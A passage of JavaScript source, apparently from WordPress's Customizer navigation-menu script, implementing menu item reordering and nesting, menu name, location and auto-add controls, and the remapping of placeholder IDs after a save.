{ this._changePosition( -1 ); wp.a11y.speak( api.Menus.data.l10n.movedUp ); }, /** * Move menu item up one in the menu. */ moveDown: function() { this._changePosition( 1 ); wp.a11y.speak( api.Menus.data.l10n.movedDown ); }, /** * Move menu item and all children up one level of depth. */ moveLeft: function() { this._changeDepth( -1 ); wp.a11y.speak( api.Menus.data.l10n.movedLeft ); }, /** * Move menu item and children one level deeper, as a submenu of the previous item. */ moveRight: function() { this._changeDepth( 1 ); wp.a11y.speak( api.Menus.data.l10n.movedRight ); }, /** * Note that this will trigger a UI update, causing child items to * move as well and cardinal order class names to be updated. * * @private * * @param {number} offset 1|-1 */ _changePosition: function( offset ) { var control = this, adjacentSetting, settingValue = _.clone( control.setting() ), siblingSettings = [], realPosition; if ( 1 !== offset && -1 !== offset ) { throw new Error( 'Offset changes by 1 are only supported.' ); } // Skip moving deleted items. if ( ! control.setting() ) { return; } // Locate the other items under the same parent (siblings). _( control.getMenuControl().getMenuItemControls() ).each(function( otherControl ) { if ( otherControl.setting().menu_item_parent === settingValue.menu_item_parent ) { siblingSettings.push( otherControl.setting ); } }); siblingSettings.sort(function( a, b ) { return a().position - b().position; }); realPosition = _.indexOf( siblingSettings, control.setting ); if ( -1 === realPosition ) { throw new Error( 'Expected setting to be among siblings.' ); } // Skip doing anything if the item is already at the edge in the desired direction. if ( ( realPosition === 0 && offset < 0 ) || ( realPosition === siblingSettings.length - 1 && offset > 0 ) ) { // @todo Should we allow a menu item to be moved up to break it out of a parent? Adopt with previous or following parent? return; } // Update any adjacent menu item setting to take on this item's position. adjacentSetting = siblingSettings[ realPosition + offset ]; if ( adjacentSetting ) { adjacentSetting.set( $.extend( _.clone( adjacentSetting() ), { position: settingValue.position } ) ); } settingValue.position += offset; control.setting.set( settingValue ); }, /** * Note that this will trigger a UI update, causing child items to * move as well and cardinal order class names to be updated. * * @private * * @param {number} offset 1|-1 */ _changeDepth: function( offset ) { if ( 1 !== offset && -1 !== offset ) { throw new Error( 'Offset changes by 1 are only supported.' ); } var control = this, settingValue = _.clone( control.setting() ), siblingControls = [], realPosition, siblingControl, parentControl; // Locate the other items under the same parent (siblings). _( control.getMenuControl().getMenuItemControls() ).each(function( otherControl ) { if ( otherControl.setting().menu_item_parent === settingValue.menu_item_parent ) { siblingControls.push( otherControl ); } }); siblingControls.sort(function( a, b ) { return a.setting().position - b.setting().position; }); realPosition = _.indexOf( siblingControls, control ); if ( -1 === realPosition ) { throw new Error( 'Expected control to be among siblings.' ); } if ( -1 === offset ) { // Skip moving left an item that is already at the top level. if ( ! settingValue.menu_item_parent ) { return; } parentControl = api.control( 'nav_menu_item[' + settingValue.menu_item_parent + ']' ); // Make this control the parent of all the following siblings. _( siblingControls ).chain().slice( realPosition ).each(function( siblingControl, i ) { siblingControl.setting.set( $.extend( {}, siblingControl.setting(), { menu_item_parent: control.params.menu_item_id, position: i } ) ); }); // Increase the positions of the parent item's subsequent children to make room for this one. _( control.getMenuControl().getMenuItemControls() ).each(function( otherControl ) { var otherControlSettingValue, isControlToBeShifted; isControlToBeShifted = ( otherControl.setting().menu_item_parent === parentControl.setting().menu_item_parent && otherControl.setting().position > parentControl.setting().position ); if ( isControlToBeShifted ) { otherControlSettingValue = _.clone( otherControl.setting() ); otherControl.setting.set( $.extend( otherControlSettingValue, { position: otherControlSettingValue.position + 1 } ) ); } }); // Make this control the following sibling of its parent item. settingValue.position = parentControl.setting().position + 1; settingValue.menu_item_parent = parentControl.setting().menu_item_parent; control.setting.set( settingValue ); } else if ( 1 === offset ) { // Skip moving right an item that doesn't have a previous sibling. if ( realPosition === 0 ) { return; } // Make the control the last child of the previous sibling. siblingControl = siblingControls[ realPosition - 1 ]; settingValue.menu_item_parent = siblingControl.params.menu_item_id; settingValue.position = 0; _( control.getMenuControl().getMenuItemControls() ).each(function( otherControl ) { if ( otherControl.setting().menu_item_parent === settingValue.menu_item_parent ) { settingValue.position = Math.max( settingValue.position, otherControl.setting().position ); } }); settingValue.position += 1; control.setting.set( settingValue ); } } } ); /** * wp.customize.Menus.MenuNameControl * * Customizer control for a nav menu's name. * * @class wp.customize.Menus.MenuNameControl * @augments wp.customize.Control */ api.Menus.MenuNameControl = api.Control.extend(/** @lends wp.customize.Menus.MenuNameControl.prototype */{ ready: function() { var control = this; if ( control.setting ) { var settingValue = control.setting(); control.nameElement = new api.Element( control.container.find( '.menu-name-field' ) ); control.nameElement.bind(function( value ) { var settingValue = control.setting(); if ( settingValue && settingValue.name !== value ) { settingValue = _.clone( settingValue ); settingValue.name = value; control.setting.set( settingValue ); } }); if ( settingValue ) { control.nameElement.set( settingValue.name ); } control.setting.bind(function( object ) { if ( object ) { control.nameElement.set( object.name ); } }); } } }); /** * wp.customize.Menus.MenuLocationsControl * * Customizer control for a nav menu's locations. * * @since 4.9.0 * @class wp.customize.Menus.MenuLocationsControl * @augments wp.customize.Control */ api.Menus.MenuLocationsControl = api.Control.extend(/** @lends wp.customize.Menus.MenuLocationsControl.prototype */{ /** * Set up the control. * * @since 4.9.0 */ ready: function () { var control = this; control.container.find( '.assigned-menu-location' ).each(function() { var container = $( this ), checkbox = container.find( 'input[type=checkbox]' ), element = new api.Element( checkbox ), navMenuLocationSetting = api( 'nav_menu_locations[' + checkbox.data( 'location-id' ) + ']' ), isNewMenu = control.params.menu_id === '', updateCheckbox = isNewMenu ? _.noop : function( checked ) { element.set( checked ); }, updateSetting = isNewMenu ? _.noop : function( checked ) { navMenuLocationSetting.set( checked ? control.params.menu_id : 0 ); }, updateSelectedMenuLabel = function( selectedMenuId ) { var menuSetting = api( 'nav_menu[' + String( selectedMenuId ) + ']' ); if ( ! selectedMenuId || ! menuSetting || ! menuSetting() ) { container.find( '.theme-location-set' ).hide(); } else { container.find( '.theme-location-set' ).show().find( 'span' ).text( displayNavMenuName( menuSetting().name ) ); } }; updateCheckbox( navMenuLocationSetting.get() === control.params.menu_id ); checkbox.on( 'change', function() { // Note: We can't use element.bind( function( checked ){ ... } ) here because it will trigger a change as well. updateSetting( this.checked ); } ); navMenuLocationSetting.bind( function( selectedMenuId ) { updateCheckbox( selectedMenuId === control.params.menu_id ); updateSelectedMenuLabel( selectedMenuId ); } ); updateSelectedMenuLabel( navMenuLocationSetting.get() ); }); }, /** * Set the selected locations. * * This method sets the selected locations and allows us to do things like * set the default location for a new menu. * * @since 4.9.0 * * @param {Object.<string,boolean>} selections - A map of location selections. * @return {void} */ setSelections: function( selections ) { this.container.find( '.menu-location' ).each( function( i, checkboxNode ) { var locationId = checkboxNode.dataset.locationId; checkboxNode.checked = locationId in selections ? selections[ locationId ] : false; } ); } }); /** * wp.customize.Menus.MenuAutoAddControl * * Customizer control for a nav menu's auto add. * * @class wp.customize.Menus.MenuAutoAddControl * @augments wp.customize.Control */ api.Menus.MenuAutoAddControl = api.Control.extend(/** @lends wp.customize.Menus.MenuAutoAddControl.prototype */{ ready: function() { var control = this, settingValue = control.setting(); /* * Since the control is not registered in PHP, we need to prevent the * preview's sending of the activeControls to result in this control * being deactivated. */ control.active.validate = function() { var value, section = api.section( control.section() ); if ( section ) { value = section.active(); } else { value = false; } return value; }; control.autoAddElement = new api.Element( control.container.find( 'input[type=checkbox].auto_add' ) ); control.autoAddElement.bind(function( value ) { var settingValue = control.setting(); if ( settingValue && settingValue.name !== value ) { settingValue = _.clone( settingValue ); settingValue.auto_add = value; control.setting.set( settingValue ); } }); if ( settingValue ) { control.autoAddElement.set( settingValue.auto_add ); } control.setting.bind(function( object ) { if ( object ) { control.autoAddElement.set( object.auto_add ); } }); } }); /** * wp.customize.Menus.MenuControl * * Customizer control for menus. * Note that 'nav_menu' must match the WP_Menu_Customize_Control::$type * * @class wp.customize.Menus.MenuControl * @augments wp.customize.Control */ api.Menus.MenuControl = api.Control.extend(/** @lends wp.customize.Menus.MenuControl.prototype */{ /** * Set up the control. */ ready: function() { var control = this, section = api.section( control.section() ), menuId = control.params.menu_id, menu = control.setting(), name, widgetTemplate, select; if ( 'undefined' === typeof this.params.menu_id ) { throw new Error( 'params.menu_id was not defined' ); } /* * Since the control is not registered in PHP, we need to prevent the * preview's sending of the activeControls to result in this control * being deactivated. */ control.active.validate = function() { var value; if ( section ) { value = section.active(); } else { value = false; } return value; }; control.$controlSection = section.headContainer; control.$sectionContent = control.container.closest( '.accordion-section-content' ); this._setupModel(); api.section( control.section(), function( section ) { section.deferred.initSortables.done(function( menuList ) { control._setupSortable( menuList ); }); } ); this._setupAddition(); this._setupTitle(); // Add menu to Navigation Menu widgets. if ( menu ) { name = displayNavMenuName( menu.name ); // Add the menu to the existing controls. api.control.each( function( widgetControl ) { if ( ! widgetControl.extended( api.controlConstructor.widget_form ) || 'nav_menu' !== widgetControl.params.widget_id_base ) { return; } widgetControl.container.find( '.nav-menu-widget-form-controls:first' ).show(); widgetControl.container.find( '.nav-menu-widget-no-menus-message:first' ).hide(); select = widgetControl.container.find( 'select' ); if ( 0 === select.find( 'option[value=' + String( menuId ) + ']' ).length ) { select.append( new Option( name, menuId ) ); } } ); // Add the menu to the widget template. widgetTemplate = $( '#available-widgets-list .widget-tpl:has( input.id_base[ value=nav_menu ] )' ); widgetTemplate.find( '.nav-menu-widget-form-controls:first' ).show(); widgetTemplate.find( '.nav-menu-widget-no-menus-message:first' ).hide(); select = widgetTemplate.find( '.widget-inside select:first' ); if ( 0 === select.find( 'option[value=' + String( menuId ) + ']' ).length ) { select.append( new Option( name, menuId ) ); } } /* * Wait for menu items to be added. * Ideally, we'd bind to an event indicating construction is complete, * but deferring appears to be the best option today. */ _.defer( function () { control.updateInvitationVisibility(); } ); }, /** * Update ordering of menu item controls when the setting is updated. */ _setupModel: function() { var control = this, menuId = control.params.menu_id; control.setting.bind( function( to ) { var name; if ( false === to ) { control._handleDeletion(); } else { // Update names in the Navigation Menu widgets. name = displayNavMenuName( to.name ); api.control.each( function( widgetControl ) { if ( ! widgetControl.extended( api.controlConstructor.widget_form ) || 'nav_menu' !== widgetControl.params.widget_id_base ) { return; } var select = widgetControl.container.find( 'select' ); select.find( 'option[value=' + String( menuId ) + ']' ).text( name ); }); } } ); }, /** * Allow items in each menu to be re-ordered, and for the order to be previewed. * * Notice that the UI aspects here are handled by wpNavMenu.initSortables() * which is called in MenuSection.onChangeExpanded() * * @param {Object} menuList - The element that has sortable(). */ _setupSortable: function( menuList ) { var control = this; if ( ! menuList.is( control.$sectionContent ) ) { throw new Error( 'Unexpected menuList.' ); } menuList.on( 'sortstart', function() { control.isSorting = true; }); menuList.on( 'sortstop', function() { setTimeout( function() { // Next tick. var menuItemContainerIds = control.$sectionContent.sortable( 'toArray' ), menuItemControls = [], position = 0, priority = 10; control.isSorting = false; // Reset horizontal scroll position when done dragging. control.$sectionContent.scrollLeft( 0 ); _.each( menuItemContainerIds, function( menuItemContainerId ) { var menuItemId, menuItemControl, matches; matches = menuItemContainerId.match( /^customize-control-nav_menu_item-(-?\d+)$/, '' ); if ( ! matches ) { return; } menuItemId = parseInt( matches[1], 10 ); menuItemControl = api.control( 'nav_menu_item[' + String( menuItemId ) + ']' ); if ( menuItemControl ) { menuItemControls.push( menuItemControl ); } } ); _.each( menuItemControls, function( menuItemControl ) { if ( false === menuItemControl.setting() ) { // Skip deleted items. return; } var setting = _.clone( menuItemControl.setting() ); position += 1; priority += 1; setting.position = position; menuItemControl.priority( priority ); // Note that wpNavMenu will be setting this .menu-item-data-parent-id input's value. setting.menu_item_parent = parseInt( menuItemControl.container.find( '.menu-item-data-parent-id' ).val(), 10 ); if ( ! setting.menu_item_parent ) { setting.menu_item_parent = 0; } menuItemControl.setting.set( setting ); }); // Mark all menu items as unprocessed. $( 'button.item-edit' ).data( 'needs_accessibility_refresh', true ); }); }); control.isReordering = false; /** * Keyboard-accessible reordering. */ this.container.find( '.reorder-toggle' ).on( 'click', function() { control.toggleReordering( ! control.isReordering ); } ); }, /** * Set up UI for adding a new menu item. */ _setupAddition: function() { var self = this; this.container.find( '.add-new-menu-item' ).on( 'click', function( event ) { if ( self.$sectionContent.hasClass( 'reordering' ) ) { return; } if ( ! $( 'body' ).hasClass( 'adding-menu-items' ) ) { $( this ).attr( 'aria-expanded', 'true' ); api.Menus.availableMenuItemsPanel.open( self ); } else { $( this ).attr( 'aria-expanded', 'false' ); api.Menus.availableMenuItemsPanel.close(); event.stopPropagation(); } } ); }, _handleDeletion: function() { var control = this, section, menuId = control.params.menu_id, removeSection, widgetTemplate, navMenuCount = 0; section = api.section( control.section() ); removeSection = function() { section.container.remove(); api.section.remove( section.id ); }; if ( section && section.expanded() ) { section.collapse({ completeCallback: function() { removeSection(); wp.a11y.speak( api.Menus.data.l10n.menuDeleted ); api.panel( 'nav_menus' ).focus(); } }); } else { removeSection(); } api.each(function( setting ) { if ( /^nav_menu\[/.test( setting.id ) && false !== setting() ) { navMenuCount += 1; } }); // Remove the menu from any Navigation Menu widgets. api.control.each(function( widgetControl ) { if ( ! widgetControl.extended( api.controlConstructor.widget_form ) || 'nav_menu' !== widgetControl.params.widget_id_base ) { return; } var select = widgetControl.container.find( 'select' ); if ( select.val() === String( menuId ) ) { select.prop( 'selectedIndex', 0 ).trigger( 'change' ); } widgetControl.container.find( '.nav-menu-widget-form-controls:first' ).toggle( 0 !== navMenuCount ); widgetControl.container.find( '.nav-menu-widget-no-menus-message:first' ).toggle( 0 === navMenuCount ); widgetControl.container.find( 'option[value=' + String( menuId ) + ']' ).remove(); }); // Remove the menu to the nav menu widget template. widgetTemplate = $( '#available-widgets-list .widget-tpl:has( input.id_base[ value=nav_menu ] )' ); widgetTemplate.find( '.nav-menu-widget-form-controls:first' ).toggle( 0 !== navMenuCount ); widgetTemplate.find( '.nav-menu-widget-no-menus-message:first' ).toggle( 0 === navMenuCount ); widgetTemplate.find( 'option[value=' + String( menuId ) + ']' ).remove(); }, /** * Update Section Title as menu name is changed. */ _setupTitle: function() { var control = this; control.setting.bind( function( menu ) { if ( ! menu ) { return; } var section = api.section( control.section() ), menuId = control.params.menu_id, controlTitle = section.headContainer.find( '.accordion-section-title' ), sectionTitle = section.contentContainer.find( '.customize-section-title h3' ), location = section.headContainer.find( '.menu-in-location' ), action = sectionTitle.find( '.customize-action' ), name = displayNavMenuName( menu.name ); // Update the control title. controlTitle.text( name ); if ( location.length ) { location.appendTo( controlTitle ); } // Update the section title. sectionTitle.text( name ); if ( action.length ) { action.prependTo( sectionTitle ); } // Update the nav menu name in location selects. api.control.each( function( control ) { if ( /^nav_menu_locations\[/.test( control.id ) ) { control.container.find( 'option[value=' + menuId + ']' ).text( name ); } } ); // Update the nav menu name in all location checkboxes. section.contentContainer.find( '.customize-control-checkbox input' ).each( function() { if ( $( this ).prop( 'checked' ) ) { $( '.current-menu-location-name-' + $( this ).data( 'location-id' ) ).text( name ); } } ); } ); }, /*********************************************************************** * Begin public API methods **********************************************************************/ /** * Enable/disable the reordering UI * * @param {boolean} showOrHide to enable/disable reordering */ toggleReordering: function( showOrHide ) { var addNewItemBtn = this.container.find( '.add-new-menu-item' ), reorderBtn = this.container.find( '.reorder-toggle' ), itemsTitle = this.$sectionContent.find( '.item-title' ); showOrHide = Boolean( showOrHide ); if ( showOrHide === this.$sectionContent.hasClass( 'reordering' ) ) { return; } this.isReordering = showOrHide; this.$sectionContent.toggleClass( 'reordering', showOrHide ); this.$sectionContent.sortable( this.isReordering ? 'disable' : 'enable' ); if ( this.isReordering ) { addNewItemBtn.attr({ 'tabindex': '-1', 'aria-hidden': 'true' }); reorderBtn.attr( 'aria-label', api.Menus.data.l10n.reorderLabelOff ); wp.a11y.speak( api.Menus.data.l10n.reorderModeOn ); itemsTitle.attr( 'aria-hidden', 'false' ); } else { addNewItemBtn.removeAttr( 'tabindex aria-hidden' ); reorderBtn.attr( 'aria-label', api.Menus.data.l10n.reorderLabelOn ); wp.a11y.speak( api.Menus.data.l10n.reorderModeOff ); itemsTitle.attr( 'aria-hidden', 'true' ); } if ( showOrHide ) { _( this.getMenuItemControls() ).each( function( formControl ) { formControl.collapseForm(); } ); } }, /** * @return {wp.customize.controlConstructor.nav_menu_item[]} */ getMenuItemControls: function() { var menuControl = this, menuItemControls = [], menuTermId = menuControl.params.menu_id; api.control.each(function( control ) { if ( 'nav_menu_item' === control.params.type && control.setting() && menuTermId === control.setting().nav_menu_term_id ) { menuItemControls.push( control ); } }); return menuItemControls; }, /** * Make sure that each menu item control has the proper depth. */ reflowMenuItems: function() { var menuControl = this, menuItemControls = menuControl.getMenuItemControls(), reflowRecursively; reflowRecursively = function( context ) { var currentMenuItemControls = [], thisParent = context.currentParent; _.each( context.menuItemControls, function( menuItemControl ) { if ( thisParent === menuItemControl.setting().menu_item_parent ) { currentMenuItemControls.push( menuItemControl ); // @todo We could remove this item from menuItemControls now, for efficiency. } }); currentMenuItemControls.sort( function( a, b ) { return a.setting().position - b.setting().position; }); _.each( currentMenuItemControls, function( menuItemControl ) { // Update position. context.currentAbsolutePosition += 1; menuItemControl.priority.set( context.currentAbsolutePosition ); // This will change the sort order. // Update depth. if ( ! menuItemControl.container.hasClass( 'menu-item-depth-' + String( context.currentDepth ) ) ) { _.each( menuItemControl.container.prop( 'className' ).match( /menu-item-depth-\d+/g ), function( className ) { menuItemControl.container.removeClass( className ); }); menuItemControl.container.addClass( 'menu-item-depth-' + String( context.currentDepth ) ); } menuItemControl.container.data( 'item-depth', context.currentDepth ); // Process any children items. context.currentDepth += 1; context.currentParent = menuItemControl.params.menu_item_id; reflowRecursively( context ); context.currentDepth -= 1; context.currentParent = thisParent; }); // Update class names for reordering controls. if ( currentMenuItemControls.length ) { _( currentMenuItemControls ).each(function( menuItemControl ) { menuItemControl.container.removeClass( 'move-up-disabled move-down-disabled move-left-disabled move-right-disabled' ); if ( 0 === context.currentDepth ) { menuItemControl.container.addClass( 'move-left-disabled' ); } else if ( 10 === context.currentDepth ) { menuItemControl.container.addClass( 'move-right-disabled' ); } }); currentMenuItemControls[0].container .addClass( 'move-up-disabled' ) .addClass( 'move-right-disabled' ) .toggleClass( 'move-down-disabled', 1 === currentMenuItemControls.length ); currentMenuItemControls[ currentMenuItemControls.length - 1 ].container .addClass( 'move-down-disabled' ) .toggleClass( 'move-up-disabled', 1 === currentMenuItemControls.length ); } }; reflowRecursively( { menuItemControls: menuItemControls, currentParent: 0, currentDepth: 0, currentAbsolutePosition: 0 } ); menuControl.updateInvitationVisibility( menuItemControls ); menuControl.container.find( '.reorder-toggle' ).toggle( menuItemControls.length > 1 ); }, /** * Note that this function gets debounced so that when a lot of setting * changes are made at once, for instance when moving a menu item that * has child items, this function will only be called once all of the * settings have been updated. */ debouncedReflowMenuItems: _.debounce( function() { this.reflowMenuItems.apply( this, arguments ); }, 0 ), /** * Add a new item to this menu. * * @param {Object} item - Value for the nav_menu_item setting to be created. * @return {wp.customize.Menus.controlConstructor.nav_menu_item} The newly-created nav_menu_item control instance. */ addItemToMenu: function( item ) { var menuControl = this, customizeId, settingArgs, setting, menuItemControl, placeholderId, position = 0, priority = 10, originalItemId = item.id || ''; _.each( menuControl.getMenuItemControls(), function( control ) { if ( false === control.setting() ) { return; } priority = Math.max( priority, control.priority() ); if ( 0 === control.setting().menu_item_parent ) { position = Math.max( position, control.setting().position ); } }); position += 1; priority += 1; item = $.extend( {}, api.Menus.data.defaultSettingValues.nav_menu_item, item, { nav_menu_term_id: menuControl.params.menu_id, position: position } ); delete item.id; // Only used by Backbone. placeholderId = api.Menus.generatePlaceholderAutoIncrementId(); customizeId = 'nav_menu_item[' + String( placeholderId ) + ']'; settingArgs = { type: 'nav_menu_item', transport: api.Menus.data.settingTransport, previewer: api.previewer }; setting = api.create( customizeId, customizeId, {}, settingArgs ); setting.set( item ); // Change from initial empty object to actual item to mark as dirty. // Add the menu item control. menuItemControl = new api.controlConstructor.nav_menu_item( customizeId, { type: 'nav_menu_item', section: menuControl.id, priority: priority, settings: { 'default': customizeId }, menu_item_id: placeholderId, original_item_id: originalItemId } ); api.control.add( menuItemControl ); setting.preview(); menuControl.debouncedReflowMenuItems(); wp.a11y.speak( api.Menus.data.l10n.itemAdded ); return menuItemControl; }, /** * Show an invitation to add new menu items when there are no menu items. * * @since 4.9.0 * * @param {wp.customize.controlConstructor.nav_menu_item[]} optionalMenuItemControls */ updateInvitationVisibility: function ( optionalMenuItemControls ) { var menuItemControls = optionalMenuItemControls || this.getMenuItemControls(); this.container.find( '.new-menu-item-invitation' ).toggle( menuItemControls.length === 0 ); } } ); /** * Extends wp.customize.controlConstructor with control constructor for * menu_location, menu_item, nav_menu, and new_menu. */ $.extend( api.controlConstructor, { nav_menu_location: api.Menus.MenuLocationControl, nav_menu_item: api.Menus.MenuItemControl, nav_menu: api.Menus.MenuControl, nav_menu_name: api.Menus.MenuNameControl, nav_menu_locations: api.Menus.MenuLocationsControl, nav_menu_auto_add: api.Menus.MenuAutoAddControl }); /** * Extends wp.customize.panelConstructor with section constructor for menus. */ $.extend( api.panelConstructor, { nav_menus: api.Menus.MenusPanel }); /** * Extends wp.customize.sectionConstructor with section constructor for menu. */ $.extend( api.sectionConstructor, { nav_menu: api.Menus.MenuSection, new_menu: api.Menus.NewMenuSection }); /** * Init Customizer for menus. */ api.bind( 'ready', function() { // Set up the menu items panel. api.Menus.availableMenuItemsPanel = new api.Menus.AvailableMenuItemsPanelView({ collection: api.Menus.availableMenuItems }); api.bind( 'saved', function( data ) { if ( data.nav_menu_updates || data.nav_menu_item_updates ) { api.Menus.applySavedData( data ); } } ); /* * Reset the list of posts created in the customizer once published. * The setting is updated quietly (bypassing events being triggered) * so that the customized state doesn't become immediately dirty. */ api.state( 'changesetStatus' ).bind( function( status ) { if ( 'publish' === status ) { api( 'nav_menus_created_posts' )._value = []; } } ); // Open and focus menu control. api.previewer.bind( 'focus-nav-menu-item-control', api.Menus.focusMenuItemControl ); } ); /** * When customize_save comes back with a success, make sure any inserted * nav menus and items are properly re-added with their newly-assigned IDs. * * @alias wp.customize.Menus.applySavedData * * @param {Object} data * @param {Array} data.nav_menu_updates * @param {Array} data.nav_menu_item_updates */ api.Menus.applySavedData = function( data ) { var insertedMenuIdMapping = {}, insertedMenuItemIdMapping = {}; _( data.nav_menu_updates ).each(function( update ) { var oldCustomizeId, newCustomizeId, customizeId, oldSetting, newSetting, setting, settingValue, oldSection, newSection, wasSaved, widgetTemplate, navMenuCount, shouldExpandNewSection; if ( 'inserted' === update.status ) { if ( ! update.previous_term_id ) { throw new Error( 'Expected previous_term_id' ); } if ( ! update.term_id ) { throw new Error( 'Expected term_id' ); } oldCustomizeId = 'nav_menu[' + String( update.previous_term_id ) + ']'; if ( ! api.has( oldCustomizeId ) ) { throw new Error( 'Expected setting to exist: ' + oldCustomizeId ); } oldSetting = api( oldCustomizeId ); if ( ! api.section.has( oldCustomizeId ) ) { throw new Error( 'Expected control to exist: ' + oldCustomizeId ); } oldSection = api.section( oldCustomizeId ); settingValue = oldSetting.get(); if ( ! settingValue ) { throw new Error( 'Did not expect setting to be empty (deleted).' ); } settingValue = $.extend( _.clone( settingValue ), update.saved_value ); insertedMenuIdMapping[ update.previous_term_id ] = update.term_id; newCustomizeId = 'nav_menu[' + String( update.term_id ) + ']'; newSetting = api.create( newCustomizeId, newCustomizeId, settingValue, { type: 'nav_menu', transport: api.Menus.data.settingTransport, previewer: api.previewer } ); shouldExpandNewSection = oldSection.expanded(); if ( shouldExpandNewSection ) { oldSection.collapse(); } // Add the menu section. newSection = new api.Menus.MenuSection( newCustomizeId, { panel: 'nav_menus', title: settingValue.name, customizeAction: api.Menus.data.l10n.customizingMenus, type: 'nav_menu', priority: oldSection.priority.get(), menu_id: update.term_id } ); // Add new control for the new menu. api.section.add( newSection ); // Update the values for nav menus in Navigation Menu controls. api.control.each( function( setting ) { if ( ! setting.extended( api.controlConstructor.widget_form ) || 'nav_menu' !== setting.params.widget_id_base ) { return; } var select, oldMenuOption, newMenuOption; select = setting.container.find( 'select' ); oldMenuOption = select.find( 'option[value=' + String( update.previous_term_id ) + ']' ); newMenuOption = select.find( 'option[value=' + String( update.term_id ) + ']' ); newMenuOption.prop( 'selected', oldMenuOption.prop( 'selected' ) ); oldMenuOption.remove(); } ); // Delete the old placeholder nav_menu. oldSetting.callbacks.disable(); // Prevent setting triggering Customizer dirty state when set. oldSetting.set( false ); oldSetting.preview(); newSetting.preview(); oldSetting._dirty = false; // Remove nav_menu section. oldSection.container.remove(); api.section.remove( oldCustomizeId ); // Update the nav_menu widget to reflect removed placeholder menu. navMenuCount = 0; api.each(function( setting ) { if ( /^nav_menu\[/.test( setting.id ) && false !== setting() ) { navMenuCount += 1; } }); widgetTemplate = $( '#available-widgets-list .widget-tpl:has( input.id_base[ value=nav_menu ] )' ); widgetTemplate.find( '.nav-menu-widget-form-controls:first' ).toggle( 0 !== navMenuCount ); widgetTemplate.find( '.nav-menu-widget-no-menus-message:first' ).toggle( 0 === navMenuCount ); widgetTemplate.find( 'option[value=' + String( update.previous_term_id ) + ']' ).remove(); // Update the nav_menu_locations[...] controls to remove the placeholder menus from the dropdown options. wp.customize.control.each(function( control ){ if ( /^nav_menu_locations\[/.test( control.id ) ) { control.container.find( 'option[value=' + String( update.previous_term_id ) + ']' ).remove(); } }); // Update nav_menu_locations to reference the new ID. api.each( function( setting ) { var wasSaved = api.state( 'saved' ).get(); if ( /^nav_menu_locations\[/.test( setting.id ) && setting.get() === update.previous_term_id ) { setting.set( update.term_id ); setting._dirty = false; // Not dirty because this is has also just been done on server in WP_Customize_Nav_Menu_Setting::update(). api.state( 'saved' ).set( wasSaved ); setting.preview(); } } ); if ( shouldExpandNewSection ) { newSection.expand(); } } else if ( 'updated' === update.status ) { customizeId = 'nav_menu[' + String( update.term_id ) + ']'; if ( ! api.has( customizeId ) ) { throw new Error( 'Expected setting to exist: ' + customizeId ); } // Make sure the setting gets updated with its sanitized server value (specifically the conflict-resolved name). setting = api( customizeId ); if ( ! _.isEqual( update.saved_value, setting.get() ) ) { wasSaved = api.state( 'saved' ).get(); setting.set( update.saved_value ); setting._dirty = false; api.state( 'saved' ).set( wasSaved ); } } } ); // Build up mapping of nav_menu_item placeholder IDs to inserted IDs. _( data.nav_menu_item_updates ).each(function( update ) { if ( update.previous_post_id ) { insertedMenuItemIdMapping[ update.previous_post_id ] = update.post_id; } }); _( data.nav_menu_item_updates ).each(function( update ) { var oldCustomizeId, newCustomizeId, oldSetting, newSetting, settingValue, oldControl, newControl; if ( 'inserted' === update.status ) { if ( ! update.previous_post_id ) { throw new Error( 'Expected previous_post_id' ); } if ( ! update.post_id ) { throw new Error( 'Expected post_id' ); } oldCustomizeId = 'nav_menu_item[' + String( update.previous_post_id ) + ']'; if ( ! api.has( oldCustomizeId ) ) { throw new Error( 'Expected setting to exist: ' + oldCustomizeId ); } oldSetting = api( oldCustomizeId ); if ( ! api.control.has( oldCustomizeId ) ) { throw new Error( 'Expected control to exist: ' + oldCustomizeId ); } oldControl = api.control( oldCustomizeId ); settingValue = oldSetting.get(); if ( ! settingValue ) { throw new Error( 'Did not expect setting to be empty (deleted).' ); } settingValue = _.clone( settingValue ); // If the parent menu item was also inserted, update the menu_item_parent to the new ID. if ( settingValue.menu_item_parent < 0 ) { if ( ! insertedMenuItemIdMapping[ settingValue.menu_item_parent ] ) { throw new Error( 'inserted ID for menu_item_parent not available' ); } settingValue.menu_item_parent = insertedMenuItemIdMapping[ settingValue.menu_item_parent ]; } // If the menu was also inserted, then make sure it uses the new menu ID for nav_menu_term_id. if ( insertedMenuIdMapping[ settingValue.nav_menu_term_id ] ) { settingValue.nav_menu_term_id = insertedMenuIdMapping[ settingValue.nav_menu_term_id ]; } newCustomizeId = 'nav_menu_item[' + String( update.post_id ) + ']'; newSetting = api.create( newCustomizeId, newCustomizeId, settingValue, { type: 'nav_menu_item', transport: api.Menus.data.settingTransport, previewer: api.previewer } ); // Add the menu control. newControl = new api.controlConstructor.nav_menu_item( newCustomizeId, { type: 'nav_menu_item', menu_id: update.post_id, section: 'nav_menu[' + String( settingValue.nav_menu_term_id ) + ']', priority: oldControl.priority.get(), settings: { 'default': newCustomizeId }, menu_item_id: update.post_id } ); // Remove old control. oldControl.container.remove(); api.control.remove( oldCustomizeId ); // Add new control to take its place. api.control.add( newControl ); // Delete the placeholder and preview the new setting. oldSetting.callbacks.disable(); // Prevent setting triggering Customizer dirty state when set. oldSetting.set( false ); oldSetting.preview(); newSetting.preview(); oldSetting._dirty = false; newControl.container.toggleClass( 'menu-item-edit-inactive', oldControl.container.hasClass( 'menu-item-edit-inactive' ) ); } }); /* * Update the settings for any nav_menu widgets that had selected a placeholder ID. */ _.each( data.widget_nav_menu_updates, function( widgetSettingValue, widgetSettingId ) { var setting = api( widgetSettingId ); if ( setting ) { setting._value = widgetSettingValue; setting.preview(); // Send to the preview now so that menu refresh will use the inserted menu. } }); }; /** * Focus a menu item control. * * @alias wp.customize.Menus.focusMenuItemControl * * @param {string} menuItemId */ api.Menus.focusMenuItemControl = function( menuItemId ) { var control = api.Menus.getMenuItemControl( menuItemId ); if ( control ) { control.focus(); } }; /** * Get the control for a given menu. * * @alias wp.customize.Menus.getMenuControl * * @param menuId * @return {wp.customize.controlConstructor.menus[]} */ api.Menus.getMenuControl = function( menuId ) { return api.control( 'nav_menu[' + menuId + ']' ); }; /** * Given a menu item ID, get the control associated with it. * * @alias wp.customize.Menus.getMenuItemControl * * @param {string} menuItemId * @return {Object|null} */ api.Menus.getMenuItemControl = function( menuItemId ) { return api.control( menuItemIdToSettingId( menuItemId ) ); }; /** * @alias wp.customize.Menus~menuItemIdToSettingId * * @param {string} menuItemId */ function menuItemIdToSettingId( menuItemId ) { return 'nav_menu_item[' + menuItemId + ']'; } /** * Apply sanitize_text_field()-like logic to the supplied name, returning a * "unnammed" fallback string if 